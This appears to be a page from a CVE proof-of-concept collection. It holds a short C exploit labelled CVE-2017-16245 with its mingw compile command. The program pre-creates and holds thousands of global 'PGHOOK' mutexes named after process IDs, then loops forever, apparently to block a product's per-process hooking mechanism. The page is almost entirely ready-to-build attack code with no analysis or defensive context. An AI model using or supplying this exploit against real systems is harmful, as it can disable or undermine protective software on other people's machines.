4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2017_16245.c C
/* i686-w64-mingw32-gcc cve_2017_16245.c -o cve_2017_16245 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h> 
#include <tchar.h>
int main(int argc, char *argv[]) 
{ 
    
    int pid, n, i;
    char name[100], bla[100];
    HANDLE v[15400];
    pid = 1000;
    n = 65535;

    for (i = 0; 4*i < n; i++){
        sprintf(name, "Global\\PGHOOK%d",pid+4*i);
        printf ("Creating %s\r\n",name);
        v[i] = CreateMutex(NULL, TRUE, name);
        if (v[i] == NULL){
            printf("Failed\r\n");
        }
    }
    while(1);
    return 0; 
}